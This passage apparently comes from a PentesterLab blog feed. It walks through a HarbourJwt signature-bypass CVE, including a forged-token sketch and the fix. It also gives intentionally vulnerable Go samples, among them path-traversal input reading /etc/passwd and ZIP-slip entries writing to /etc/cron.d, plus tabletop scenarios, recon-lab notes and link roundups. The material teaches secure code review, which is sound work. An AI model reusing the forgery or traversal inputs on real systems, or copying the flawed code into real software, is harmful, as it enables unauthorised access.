Also, if developers of the application you are auditing are already sharing their source code with a third party, surely security auditors should be able to do the same. They already have the data after all. But if you are an AppSec consulting firm, do you have to swap models and tooling for every client based on their risk appetite and their developers' usage?

Conclusion

Before, security could sit on the side and watch the world burn. This time it feels different.

For once, the people trying to move fast and break things might be in security.

Bugs EVERYWHERE....

LLMs, WAF Bypass, LLMs...

This post covers CVE-2026-23993, an authentication bypass in HarbourJwt where any unrecognized JWT algorithm value in the header causes signature verification to be bypassed.

How I found it (without knowing Harbour)

I scanned a bunch of JWT libraries listed on jwt.io and ran an internal “jwt-library-review” skill (using Claude) on each repository. The goal wasn’t to blindly trust the output, it was to triage: quickly flag suspicious patterns so I could focus my manual review where it matters.

#!/bin/bash

for lib in ~/jwt/*/*/; do
    echo ""
    echo "=== $lib ==="
    if [[ -f "${lib}JWT_SECURITY_REVIEW.md" ]]; then
        echo "Skipping: JWT_SECURITY_REVIEW.md already present"
        continue
    fi
    echo "Please run the jwt-library-review skill on the code in $lib"
    claude -p "Please run the jwt-library-review skill on the code in $lib"
done

echo "Done!"

Yes, even if I'm speaking to an AI, it doesn't hurt to be polite (also this shell script was generated by Claude).

One repository stood out because the signature verification logic was too permissive around the algorithm selection. That's where this issue came from.

Summary

HarbourJwt incorrectly accepts forged tokens when the JWT header contains an algorithm value not in HS256, HS384, or HS512.

• Not just the classic "alg":"none" issue.
• Any unknown value works: none, None, NONE, foo, zzz, an empty string, etc.
• Impact: complete authentication bypass - forge tokens without the secret key.

Where the bug lives

The vulnerable logic is in Verify() (in src/jwt.prg). The bypass happens because signature generation returns an empty string for unknown algorithms, and verification compares strings without treating the algorithm error as fatal.

Root cause: “unknown algorithm” returns an empty signature

In HarbourJwt, signature computation is performed by GetSignature(). When the algorithm is not recognized, the method sets an error string but returns an empty signature ("").

METHOD GetSignature( cHeader, cPayload, cSecret, cAlgorithm ) CLASS JWT
  LOCAL cSignature := ""

  DO CASE
     CASE cAlgorithm=="HS256"
         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA256(...) )
     CASE cAlgorithm=="HS384"
         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA384(...) )
     CASE cAlgorithm=="HS512"
         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA512(...) )
     OTHERWISE
         ::cError := "INVALID ALGORITHM"
         // cSignature remains "" (empty string)
  ENDCASE

RETU cSignature

Returning an empty signature for an unknown algorithm is already dangerous - but the real issue is what happens next.

The verification bypass

During verification, HarbourJwt computes a new signature and compares it to the token signature:

cNewSignature := ::GetSignature( aJWT[1], aJWT[2], ::cSecret, aHeader[ 'alg' ] )

IF ( cSignature != cNewSignature )
  ::cError := "Invalid signature"
  RETU .F.
ENDIF

If an attacker supplies a token with:

• alg set to an unsupported value (so GetSignature() returns "")
• an empty JWT signature segment (so the token signature is also "")

Then both strings match:

• cSignature (from token) = ""
• cNewSignature (computed) = ""

The comparison passes, the IF block is skipped, and verification continues as if the token was valid. The error message ("INVALID ALGORITHM") is set, but GetSignature() still returns the empty string as a valid result rather than signaling failure. The caller never checks ::cError before proceeding.

Exploit sketch

JWTs are three dot-separated segments: base64url(header).base64url(payload).base64url(signature). If the signature is empty, you still get a trailing dot.

Header:  {"typ":"JWT","alg":"zzz"}
Payload: {"sub":"admin","name":"Mallory","iat":1700000000,"role":"admin"}

An attacker base64url-encodes header and payload, and sends:

<base64url(header)>.<base64url(payload)>.

No secret key required. No cryptography required. Just string comparison with an empty signature.

Impact

• Complete authentication bypass
• User impersonation (forge any identity / sub)
• Privilege escalation (forge any claims/roles)
• Trivial exploitation (no key material needed)

The fix

The maintainer fixed the issue in commit e1e0ee9 by making the algorithm error state part of the verification decision (and by resetting the error before verification).

@@ -218,6 +218,9 @@ METHOD Verify( cJWT ) CLASS JWT
   LOCAL aJWT, aHeader, aPayload
   LOCAL cSignature, cNewSignature

+  // Reset error
+  ::cError := ''
+

@@ -256,7 +259,7 @@
   cNewSignature := ::GetSignature( aJWT[1], aJWT[2], ::cSecret, aHeader[ 'alg' ] )
-  IF ( cSignature != cNewSignature )
+  IF ( cSignature != cNewSignature .OR. !EMPTY(::cError) )
     ::cError := "Invalid signature"
     RETU .F.
   ENDIF

In plain terms: unknown algorithm now leads to a failed verification, even if both signatures would have been empty strings.

Regression tests

The same patch also adds/extends tests to cover multiple algorithms and to prevent regressions around invalid algorithms and signatures. This ensures the bypass cannot be silently reintroduced.

Related: another JWT issue found using the same approach

This wasn’t the only JWT issue I found while doing automated triage + manual validation. Using the same “jwt-library-review” workflow, I also found and reported a JWT signature verification bypass in a Swift library: GHSA-88q6-jcjg-hvmw.

Takeaway: LLMs let you review code in languages you don't know

I didn't need to learn Harbour to find this bug. The LLM translated an unfamiliar language into something I could reason about, and from there I had options: triage the findings myself, or use the LLM to help with that too.

If you want to get better at finding issues like this, check out our live training on manual security code review. Understanding security patterns (like JWT verification flows) helps you craft the right prompts, judge LLM output, and triage findings, regardless of the language.

References

• HarbourJwt repository
• Fix commit (e1e0ee9)
• jwt.io libraries index
• GHSA-88q6-jcjg-hvmw advisory (jose-swift)

Claude RedTeam, Claude Hacking, Claude Skills...Is it Claude week?

XS Leaks, arithmetic bugs & CVE deep dives.

A quieter week that perfectly fits the two deep dives!

SAML bypasses & LLM-assisted crash triage.

WAF bypasses, CVE research & constant-time crypto.

Articles worth reading discovered last week. This week feels like a giant "how to find your own CVE"...

Android, Request Smuggling and Markdown Sanitizer!

Busy week: Android, Django and MCP!

Passports, WIFI and AI-SAST!

Another great week!

Let's dive into practical examples you can start hunting for today.

# Directory Traversal via filepath.Clean

Developers often use path.Clean() (or filepath.Clean()) thinking it sanitizes (cleans) user input for file access operations. It doesn't. This function only normalizes paths. It won't prevent directory traversal attacks.

Vulnerable Code:

func downloadFile(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")
    // This doesn't prevent directory traversal!
    cleanPath := filepath.Clean(filename)
    fullPath := filepath.Join("/var/www/files", cleanPath)
    
    data, err := os.ReadFile(fullPath)
    if err != nil {
        http.Error(w, "File not found", 404)
        return
    }
    w.Write(data)
}

Impact:

An attacker can request ?file=../../../../etc/passwd to read arbitrary files on the system. The filepath.Clean() call normalizes this to ../../../../etc/passwd, which still escapes the intended directory. Basically, the function path.Clean() only "cleans" the path if it starts with a /.

I submitted a change to the Go team, to make the documentation clearer: path: add more examples for path.Clean

Recommendations:

There are multiple ways to prevent this issue:

• Calling filepath.Clean() after adding an os.PathSeparator.
• Checking if the path starts with a trusted directory (after extracting the absolute path).
• Leveraging filepath.Localize() introduced in Go 1.23.
• Finally, the best alternative is to rely on os.Root (Traversal-resistant file APIs) introduced in Go 1.24.

# Weak Random Generation with math/rand

The math/rand package is deterministic and predictable: perfect for simulations, terrible for security. Developers often reach for it out of habit when generating tokens or session IDs.

Vulnerable Code:

import (
    "math/rand"
    "time"
)

func generateResetToken() string {
    const letters = "abcdefghijklmnopqrstuvwxyz"
    token := make([]byte, 32)
    for i := range token {
        token[i] = letters[rand.Intn(len(letters))]
    }
    return string(token)
}

Impact:

Tokens generated this way are predictable. An attacker can potentially predict previous and subsequent tokens.

Recommendations:

A better way to do this is to swap math/rand for crypto/rand. Unless you have a good reason for it, use crypto/rand.

# Hostname Validation with strings.HasSuffix

Checking domain ownership with strings.HasSuffix() is a classic mistake. Developers think they're validating subdomains of their service, but they're only checking that the hostname ends with the domain.

Vulnerable Code:

func isValidSubdomain(hostname string) bool {
    // This looks right but it's wrong!
    return strings.HasSuffix(hostname, "example.com")
}

// isValidSubdomain("evil-example.com") returns true!
// isValidSubdomain("notexample.com") returns true!

This example is pretty simple to spot but the trusted domain could come from a configuration file or an environment variable. Making it harder to determine whether the value starts with a dot or not.

Impact:

An attacker can register evil-example.com and bypass your validation. This leads to subdomain takeover vulnerabilities, OAuth redirect bypasses, SSRF, and CORS misconfigurations.

Recommendations:

func isValidSubdomain(hostname string) bool {
    // Check exact match or proper subdomain
    return hostname == "example.com" || 
           strings.HasSuffix(hostname, ".example.com")
}

# Timing Attacks in String Comparison

Using == to compare secrets creates timing differences that attackers can measure. Each character is compared sequentially, and comparison stops at the first mismatch.

Vulnerable Code:

func validateAPIKey(provided string) bool {
    secretKey := "sk_live_abc123def456ghi789"
    return provided == secretKey  // Vulnerable to timing attack
}

func validateSignature(provided, expected []byte) bool {
    return bytes.Equal(provided, expected)  // Also vulnerable
}

Impact:

An attacker can bruteforce the secret one character at a time by measuring response times. Each correct character takes slightly longer to process than incorrect ones.

Recommendations:

You can find examples of constant-time comparisons below:

import "crypto/subtle"

func validateAPIKey(provided string) bool {
    secretKey := "sk_live_abc123def456ghi789"
    return subtle.ConstantTimeCompare([]byte(provided), []byte(secretKey)) == 1
}

func validateSignature(provided, expected []byte) bool {
    return subtle.ConstantTimeCompare(provided, expected) == 1
}

# ZIP Slip via Archive Extraction

When extracting ZIP files, trusting Entry.Name without validation allows attackers to write files anywhere on the filesystem.

Vulnerable Code:

func extractZip(src, dest string) error {
    r, err := zip.OpenReader(src)
    if err != nil {
        return err
    }
    defer r.Close()
    
    for _, f := range r.File {
        // Dangerous: trusting f.Name directly!
        path := filepath.Join(dest, f.Name)
        
        if f.FileInfo().IsDir() {
            os.MkdirAll(path, f.Mode())
            continue
        }
        
        rc, err := f.Open()
        if err != nil {
            return err
        }
        defer rc.Close()
        
        outFile, err := os.Create(path)
        if err != nil {
            return err
        }
        defer outFile.Close()
        
        _, err = io.Copy(outFile, rc)
        if err != nil {
            return err
        }
    }
    return nil
}

Impact:

A malicious zip file with entries like ../../../../etc/cron.d/evil can overwrite system files, leading to remote code execution.

Recommendations:

# Hardcoded Secrets in Source

It's shocking how often API keys, passwords, and tokens end up committed to repositories. Developers hardcode them "temporarily" during development and forget to remove them.

Vulnerable Code:

const (
    // Found in too many repos!
    AWSAccessKey = "AKIAIOSFODNN7EXAMPLE"
    AWSSecretKey = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
    DBPassword   = "admin123"
)

func connectToAPI() *Client {
    return &Client{
        APIKey: "sk_live_4242424242424242",  // "We'll rotate it later"
    }
}

Impact:

Exposed credentials lead to data breaches, unauthorized access, and massive cloud bills. Once committed, secrets live forever in git history even if removed later.

Recommendations:

Secrets and credentials should be kept outside of the source code: in a secret management tool, a configuration file, or in environment variables. A good rule of thumb is "an attacker should not gain any advantage from having access to your source code".

# Start Finding These Today

These six patterns are just the beginning. Once you train your eye to spot them, you'll start noticing variations and more subtle issues. The key is practice—review real code, understand why developers make these mistakes, and learn the secure patterns that prevent them.

Remember: every bug you find during code review is one that doesn't make it to production. That's a win for everyone involved.

Want to learn how to spot and understand issues like these? Join our next Web Security Code Review Training to practice reading real-world vulnerable code and fixing it correctly. Make sure you also check out our Golang Code Review Badge!

ADB and JWT, a quiet but interesting week!

Content worth checking discovered last week:

The best part? You can start running them today with zero budget and minimal preparation.

Why Tabletop Exercises Matter

Real incidents don't come with instruction manuals. They're messy, ambiguous, and happen at the worst possible times. Tabletop exercises let you practice the chaos in a safe environment where mistakes are learning opportunities, not career-limiting events.

They reveal gaps in your processes that you didn't know existed. They build muscle memory for crisis response. Most importantly, they strengthen relationships between teams who need to work together when things go wrong.

The Art of Good Scenarios

Good scenarios feel real because they could be real. They're specific enough to be actionable but flexible enough to allow for creative problem-solving. They have complications that mirror real-world messiness.

Start with scenarios close to home. Use your actual tech stack, your real team structure, your current processes. The closer to reality, the more valuable the exercise.

Scenario 1: "Going Live?"

You've just had your morning coffee when you're pulled into an emergency meeting. An application is scheduled to go live tomorrow, but your team just found a remote code execution vulnerability. The business team is adamant about the launch date - it's been advertised, customers are expecting it, and delays will cost millions.

What questions do you ask? Can you propose alternatives? How do you quantify risk? Who makes the final decision? What if the CEO overrules security concerns?

Twist: The developer who wrote the vulnerable code is on vacation in Bali with no phone service.

Scenario 2: "The Log4j Morning"

A vulnerability like Log4j or Heartbleed just dropped. It affects everything. Twitter is on fire. Your CEO just forwarded you a news article asking, "Are we affected?"

How do you identify affected applications? You have hundreds of services - who owns what? How do you prioritize fixes? What about third-party vendors? How do you communicate status when you don't know the full scope yet?

Twist: Your software inventory system hasn't been updated in six months.

Scenario 3: "No Bounty for You"

A security researcher emails claiming they've found a critical vulnerability in your main application. They refuse to go through your bug bounty program to avoid disclosure restrictions. They want to publish after 45 days, fixed or not, and they're fine forfeiting any bounty.

How do you verify they're legitimate? What if they demand unreasonable terms? How do you handle communication? What's your legal position? What if they go public before you're ready?

Twist: The researcher is 16 years old and located in a country with different disclosure laws.

Scenario 4: "The Leak"

A developer accidentally commits AWS credentials to a public GitHub repository. By the time you're notified, the commit has been public for four hours. It's been forked twice and indexed by credential scanning bots.

How quickly can you rotate credentials? What might have been accessed? How do you audit four hours of potential activity? Who needs to be notified? What about compliance requirements?

Twist: The credentials had admin access to production databases containing customer PII.

Scenario 5: "Dependency Confusion"

Your application was targeted via a dependency confusion attack. It was only detected because a service failed during deployment. The malicious package has been in your build pipeline for three days.

How do you determine what was compromised? Which builds are affected? What data might have been exfiltrated? How do you clean infected systems? How do you prevent recurrence?

Twist: The attack happened on a Friday afternoon before a three-day weekend.

Running Effective Exercises

Keep exercises short - 30 to 60 minutes. Long enough to dig deep, short enough to maintain energy. Include people from different teams. The security perspective is just one of many you need.

Designate a facilitator who introduces complications and keeps discussions moving. They're not participating; they're orchestrating. Their job is to make it realistic, not easy.

No laptops unless you're simulating actual response. This is about thinking and discussing, not googling solutions. The conversation is more valuable than the answer.

The Debrief Is Everything

After each scenario, identify what went well and what didn't. What processes were missing? What tools would have helped? Who should have been involved but wasn't?

Turn findings into action items. Missing runbook? Write it. Communication gap? Fix it. Tool needed? Build or buy it. Each exercise should make you better prepared for the next real incident.

Using Exercises in Interviews

Tabletop scenarios make excellent interview questions. They reveal how candidates think under pressure, how they prioritize, how they communicate. Do they panic or stay calm? Do they consider business impact or just technical issues?

Give candidates a scenario and watch how they work through it. The approach matters more than the answer. You want someone who asks good questions, considers stakeholders, and thinks about long-term implications.

Making It Regular

Schedule exercises regularly. Monthly is ideal, quarterly is minimum. Make them part of your team's rhythm. Rotate who creates scenarios - fresh perspectives keep exercises valuable.

Track improvements over time. Are you handling scenarios faster? With less confusion? With better outcomes? These metrics show the value of practice.

Start Simple, Build Complexity

Your first exercises don't need to be complex. Start with single-issue scenarios. As your team gets comfortable, add complications. Multiple simultaneous incidents. Conflicting priorities. Resource constraints.

The goal isn't to overwhelm but to prepare. Each exercise should stretch your capabilities just enough to promote growth without causing frustration.

Tabletop exercises are low-cost, high-value activities that make your team better at handling real incidents. They build relationships, reveal blind spots, and create muscle memory for crisis response. Start with one scenario next Friday afternoon. Your future incident-responding self will thank you.

Prefer video? I cover these scenarios and tips in this talk:

A good mix of everything to please everyone: CVEs, AI, Integrity Bypass and Unicode

Devise’s Clever Solution

Devise is the standard authentication library for Rails. It handles registration, login, and password changes. Devise needs a way to invalidate sessions when a user changes their password, but Rails does not make that easy. The trick is to combine existing data with the session so invalidation happens automatically.

When a user logs in, Devise stores in the session:

• User ID
• Part of the user’s hashed password (authenticatable_salt, derived from the BCrypt hash)

The code below illustrates how authenticatable_salt is computed:

      # A reliable way to expose the salt regardless of the implementation.

      def authenticatable_salt
        encrypted_password[0,29] if encrypted_password
      end

Where encrypted_password is the BCrypt hash of the password.

And we can see how the two values are added to the session in the following snippet:

        def serialize_into_session(record)
          [record.to_key, record.authenticatable_salt]
        end

How the Check Works on Every Request

On each request, Devise verifies that the user is still authenticated by checking two things:

1. The user ID from the session identifies a valid user.
2. The session’s authenticatable_salt matches the value stored in the database for that user.

If the values match, the session is valid. If they do not match, the session is rejected.

        def serialize_from_session(key, salt)
          record = to_adapter.get(key)
          record if record && record.authenticatable_salt == salt
        end

What Happens When the Password Changes

When a user changes their password, the BCrypt hash changes, and so does authenticatable_salt. Devise updates the salt in the current browser’s session. All other sessions for the same user, on other devices or browsers, still carry the old salt. Those sessions will fail the next check and are effectively invalidated.

• Password changes → BCrypt hash changes.
• authenticatable_salt changes with the hash.
• Current session is updated; all other sessions become invalid on their next request.

Security Implications

This small design choice has some big consequences for both security and usability:

• Automatic revocation across devices: No central session blocklist is required. The mismatch on the next request logs out stale sessions.
• Forgery resistance: Even if an attacker knows the secret used to protect sessions, they still do not know the user’s hashed password. Without the correct authenticatable_salt, forging a valid session is not feasible.

Why This Is Clever

This design does not change how Rails sessions work. It accepts their constraints and then adds a small piece of data that ties session validity to password state. It is minimal, universal, and effective.

Common Alternatives and Pitfalls

It is worth contrasting this with other approaches teams often take, and why they fall short:

• Per-session blocklists: Possible, but adds complexity and storage overhead. You have to track, expire, and check a denylist on each request.
• Short session lifetimes: Reduces risk but harms user experience and does not offer immediate invalidation.

Takeaway

Good security engineering often comes from using existing data in a smart way. Devise’s use of authenticatable_salt turns a hard problem into a simple check that works everywhere.

A Security Twin is an application that shares important similarities with yours: same language, same framework, same functionality, or ideally all three. It is your software’s closest relative in the wild, and studying it can give you a head start on identifying risks in your own.

Why Security Twins Matter

Security research does not happen in isolation. Vulnerabilities tend to appear in clusters: a flaw in one product often signals a pattern that exists elsewhere. By tracking your Security Twins, you can benefit from that research without waiting to get hit yourself.

For example, if you work at GitHub, you would be unwise not to pay close attention to GitLab. Both are large Rails applications with overlapping features. When a deserialization bug, permission bypass, or CSRF issue shows up in GitLab, it is a signal to immediately review whether GitHub might suffer from the same flaw.

This is not about copying exploits blindly. It is about recognizing that vulnerabilities do not exist in a vacuum, they are tied to the frameworks, languages, and patterns both applications share.

Easier To Transfer Than To Invent

It is far easier to adapt a security lesson from one familiar environment than to dream up new threat models from scratch.

• Language-level issues: If a bug exists in the Ruby ecosystem, there is a strong chance other Ruby apps share it.
• Framework quirks: A misconfigured Rails feature causing data leaks in one project may be lurking in another.
• Functional overlap: Two platforms that both implement "merge requests" or "issue trackers" are likely to solve similar problems and introduce similar flaws.

Instead of reinventing your testing approach, you can sharpen it by asking: "What happened to our Security Twin?"

How To Identify Your Security Twins

1. Same framework, same domain
   If you are building an ecommerce site in Django, look for other ecommerce platforms in Django.
2. Same functionality, different stack
   Even across languages, functionality drives design. A payment processor in Java and one in Go may both mishandle reconciliation edge cases.
3. Direct competitors
   Your competitors often make the best Security Twins. You share not only features but also the same market pressures and sometimes the same shortcuts.

Making It Part of the Process

• Threat modeling: For each feature, ask, "Has this failed somewhere else?"
• Code review: Keep a running list of advisories and vulnerabilities in your Security Twins’ ecosystem.
• Pentesting: Seed your tests with past public vulnerabilities in similar applications.

This does not take much effort: track advisories, follow mailing lists, or scan commits in upstream frameworks. The payoff is huge: you will always have new, relevant attack ideas grounded in reality.

Final Thought

Security is not just about creativity; it is about awareness. If your Security Twin stumbled into a vulnerability, do not wait to fall in yourself: learn from their misstep.

I decided to reach out to learn more about their usage of PentesterLab by contacting Camilo Vera, and here are his answers to a few questions I asked:

Can you tell us a bit about your company and the kind of services you provide?

Fluid Attacks is an AppSec company focused on securing our clients’ software. Our solution combines automated tools, AI, and a team of expert pentesters. We provide deep source code review, continuous security testing, and research-driven vulnerability discovery. Our mission is to identify and help remediate vulnerabilities during the development lifecycle, uncovering issues that automated tools or surface-level assessments often miss.

From what I’ve seen, many people on your team went through our Code Review Badge. What made you decide to put the whole team through it?

Because code review is at the core of what we do, we wanted to make sure everyone on the team had a strong foundation. That’s why every new tester at Fluid Attacks is required to complete the Code Review badge before starting onboarding mentorships. Over time, it became a standard, now every tester in the company has it, and many have completed additional badges as well. It’s highly valued internally, because it builds skills directly applicable to our daily work.

How has completing the badge changed the way your team approaches code review and application security?

The biggest change is in how testers approach code. Instead of seeing code as something overwhelming, they now know how to dive in, spot entry points, and follow the logic with an attacker’s mindset. It’s not just about recognizing individual vulnerabilities, it’s about developing a structured methodology for analyzing applications and libraries. This mindset shift has been extremely valuable.

Do you feel your team is now better prepared to catch issues that automated tools or pentests might miss?

Definitely. Many vulnerabilities we find simply don’t appear in black-box testing and won’t be flagged by automated tools. Thanks to the training, our team is better equipped to detect subtle issues, things that look harmless on the surface but can be chained with others into something critical.

What did your team enjoy the most about the badge?

What testers enjoyed most was the hands-on, realistic nature of the exercises. They’re not abstract or theoretical, they mirror the kinds of vulnerabilities and patterns we encounter in real-world projects. The challenges give you the feeling of solving a real case, which keeps motivation high.

How did you keep the team motivated through the training?

Honestly, motivation wasn’t difficult. Because the badge directly reflects the type of work we do every day, testers immediately saw the value. For new joiners, completing the badge became a milestone, they knew it would prepare them to handle real client codebases more effectively.

What would you tell another team or company considering PentesterLab?

If your team does application security, especially code review, PentesterLab is absolutely worth it. The exercises don’t just teach vulnerabilities, they build the skills and habits needed to approach code like an attacker. That’s what makes the difference between a decent assessment and one that uncovers the issues no one else has seen.

If you had to sum up the experience in one sentence, what would it be?

PentesterLab’s Code Review badge has become the foundation of the testers’ training, it turns reading code from a challenge into a strength, enabling us to find vulnerabilities others miss.

Stop everything you’re doing! Phrack is out!

The Myth of the “Groundbreaking” Blog Post

Spend five minutes on Hacker News or X/Twitter and it feels like every security write-up must reveal a brand-new exploit to be worthy. That belief hurts newcomers because it:

• Raises the entry bar: "Until I discover something original, I have nothing to say."
• Turns learning into a lottery: finding an undisclosed bug is part skill, part luck, always time-consuming.
• Delays your portfolio (or HackFolio): while you chase unicorns, others publish steady, solid content and get noticed.

If you’re breaking into security, you can still write pieces that appeal to employers and teach you a lot in the process.

N-Day (or N-Year) Vulnerability Write-Ups

Why N-Days?

• They’re everywhere. Thousands of public CVEs exist in the software you use daily.
• The work is deterministic. There is a bug; you just need to follow the breadcrumbs.
• Most employers value comprehension over novelty. Reading unfamiliar code, following data flow, and explaining risk is real-world AppSec work.

A Simple Workflow

1. Choose a CVE that interests you.
2. Pull the vulnerable version (Docker, Git tag, archived release).
3. Study the patch diff: what changed and why?
4. Reproduce the exploit (use public PoCs or craft your own).
5. Write a clear narrative covering background, root cause, exploitation steps, and impact.
6. Close with “Lessons Learned” so readers can spot similar issues early.

What You Demonstrate

• Code-level reasoning.
• Clear communication.
• Teaching skill.

These are exactly the capabilities hiring managers screen for. And you might still uncover a bypass for the fix along the way.

Reverse-Engineering Security Mechanisms

Everyone rushes to publish bypasses; few document the defense itself. That’s your opportunity.

Pick a Mechanism, Not Just a Bypass

• CSRF protection in Rails
• CORS pre-flight processing in a Go framework
• Session management in Express

How to Write It Up

1. Describe the threat model, why the defense exists.
2. Walk through implementation: source code, config options, defaults.
3. Illustrate normal flow—request/response diagrams work wonders.
4. Explore edge cases: malformed headers, missing attributes, race conditions.
5. (Optional) Re-create public bypasses and propose stronger fixes.
6. (Optional) Study the evolution of the protection over time.

Why Employers Care

• You understand framework internals, not just surface exploits.
• You can educate development teams (a critical AppSec skill).
• You think like both attacker and defender.

Portfolio > Jackpot

Publishing steady, well-researched content beats waiting years for lightning to strike. Each post becomes permanent proof that you can learn, analyze, and communicate.

As you keep digging into old CVEs and dissecting defensive mechanisms, new vulnerabilities will eventually surface. Novelty arrives naturally once you’ve spent enough time analyzing old vulnerabilities and security mechanisms.

Practical Tips to Get Started

• Set a schedule: one post a month is 12 portfolio pieces a year.
• Use reproducible environments (Dockerfiles, dev containers).
• Show, don’t tell: GitHub gists, screenshots, asciinema casts.
• Write for clarity over cleverness.
• Iterate publicly and update posts as you learn more.

Final Word

Stop waiting for perfect research conditions. Grab an old bug, dissect a security control, and ship the write-up. Your future employer isn’t grading you on novelty, they are grading you on understanding, analysis, and communication.

So crack open that dusty CVE list, spin up an environment, and start typing.

Why Recon Beats Guesswork

Before you exploit, you need to explore. Reconnaissance uncovers the juicy bits that many devs accidentally leave exposed:

1. Forgotten robots.txt and security.txt entries that point to hidden paths
2. Info-leaking 404 pages and verbose headers
3. Directory listings that reveal source code and backups
4. Misconfigured TLS, DNS, and S3 buckets
5. Secrets buried in Git history, waiting for the right grep

Think of recon as the map you draw before picking the lock. Skip it and you stumble in the dark. Nail it and half the job is done.

What You Will Tackle Inside the Badge

The badge is split into bite-sized labs. Each lab unlocks the next, and every one gives you a flag so you always know when you nailed it. Below is a high-level tour; the exact flags stay secret until you dive in.

1. Classic Web Enumeration – harvest robots.txt, security.txt, custom 404 pages, directory listings, and hidden admin paths.
2. Virtual Host Shenanigans – swap hostnames for raw IPs, push your own Host header, and extract SANs from TLS certificates.
3. Visual Reconnaissance – sift through a fleet of hosts (0x00.a.hackycorp.com to 0x0f.a.hackycorp.com) to spot the page with a red key. Pro tip: feed the list to Aquatone for instant screenshots.
4. DNS Games – query TXT records, abuse AXFR to pull zones (even an int internal zone), and grab the BIND version with version.bind.
5. GitHub Intelligence – locate Hackycorp’s org, hunt dev names in commit history, scan branches, find deleted files, and spot “odd one out” email addresses.
6. CDN and S3 Treasure Hunt – pull stray key.txt files, exploit the “Any AWS user” quirk to access key2.txt, and read hard-coded tokens from bundled JavaScript.

Self-directed Challenge

Already feel confident with your reconnaissance skills? Skip the step-by-step instructions and go on a treasure hunt. Point your tools at hackycorp.com, dig into every service you can reach, and see how many badge flags you can capture unaided. Treat it like a real-world engagement, then compare your haul with the lab solutions to spot blind spots in your process.

What You Need (Spoiler: Almost Nothing)

You only need a personal AWS account with just enough permissions to access an S3 bucket you don't own.

Tools are flexible. We give examples with curl, openssl, ffuf, and git. Use Burp, Nuclei, or pure PowerShell if that is your flavor. Flags are agnostic.

Skills You Will Walk Away With

1. Rapid host and sub-domain discovery techniques
2. Smart directory and vhost brute-forcing
3. Fingerprinting stacks via headers and TLS metadata
4. DNS misconfiguration exploitation, including zone transfers
5. Practical Git trawling for secrets and context
6. S3 permission edge cases that bug bounty hunters love

Ready to claim your badge and flex those recon muscles?

Start the Free Recon Badge

Tweet your badge or tag us on LinkedIn or Twitter when you finish. We love seeing people smash their recon goals, and we may even send you stickers!

Recon is the cornerstone of every successful assessment. Spend a weekend with this badge and you will never look at a domain name the same way again.
Questions or feedback? Hit us up on Twitter or LinkedIn .

]]> Tue, 03 Jun 2025 00:00:00 +0000 https://pentesterlab.com/blog/learn-recon-for-free https://pentesterlab.com/blog/learn-recon-for-free h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Request Tunnelling and o3-powered zero-day hunting!

🚇 The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling

Check out this in-depth article on request tunnelling:  The Single-Packet Shovel: Digging for Desync-Powered Request Tunnelling.

🐧 How I Used o3 to Find CVE-2025-37899, a Remote Zero-Day in the Linux kernel’s SMB Implementation

Curious whether AI can uncover zero-days in the Linux kernel? Read:  How I Used o3 to Find CVE-2025-37899, a Remote Zero-Day Vulnerability in the Linux kernel’s SMB Implementation.

]]> Sun, 01 Jun 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week22-2025 https://pentesterlab.com/blog/research-worth-reading-week22-2025 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

A PHP Rollercoaster, AI Labs and AppSec eZine this week!

🪞 Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE

Curious about the recent changes in PHP and their impact? Make sure you read this write-up: Don't Call That "Protected" Method: Dissecting an N-Day vBulletin RCE.

🛝 AI Red Teaming Playground Labs

Want some labs to train on AI Red Teaming. Microsoft got you cover: AI Red Teaming Playground Labs.

📚 AppSec eZine 588

Another issue of AppSec eZine, make sure to check it out: AppSec eZine 588.

]]> Sun, 25 May 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week21-2025 https://pentesterlab.com/blog/research-worth-reading-week21-2025 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Passkeys, parser differentials, and another week full of fun content!

🔑 The cryptography behind passkeys

Trail of Bits walks us through how passkeys work and what their limitations are: The cryptography behind passkeys.

🧠 Parser Differentials

A keynote from Joern Schneeweisz on parser differentials, featuring plenty of fun bugs and clever exploits. If you still think all parsers behave the same, check these slides: Parser Differentials.

🏖️ How I ruined my vacation by reverse-engineering WSC

The journey of reversing Windows Security Center to disable Windows Defender: How I ruined my vacation by reverse-engineering WSC.

🪲 Can You Really Trust That Permission Pop-Up on macOS? (CVE-2025-31250)

A bit of fun with the macOS permission pop-up: Can You Really Trust That Permission Pop-Up on macOS? (CVE-2025-31250).

]]> Sun, 18 May 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week20-2025 https://pentesterlab.com/blog/research-worth-reading-week20-2025 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Some great content for Python hackers and fuzzing enthusiasts this week!

🎢 Let’s Be Authentik: You Can’t Always Leak ORMs

A detailed write-up that walks through the thought process, the false starts, and finally the discovery of a serious vulnerability: Let’s Be Authentik: You Can’t Always Leak ORMs.

🧠 Latest ThinkstScape

The latest ThinkstScape is out — conference research distilled down to just the signal: ThinkstScape 2025.Q1.

🔈 Breaking the Sound Barrier Part I: Fuzzing CoreAudio with Mach Messages

An excellent article on fuzzing IPC on macOS: Breaking the Sound Barrier Part I: Fuzzing CoreAudio with Mach Messages.

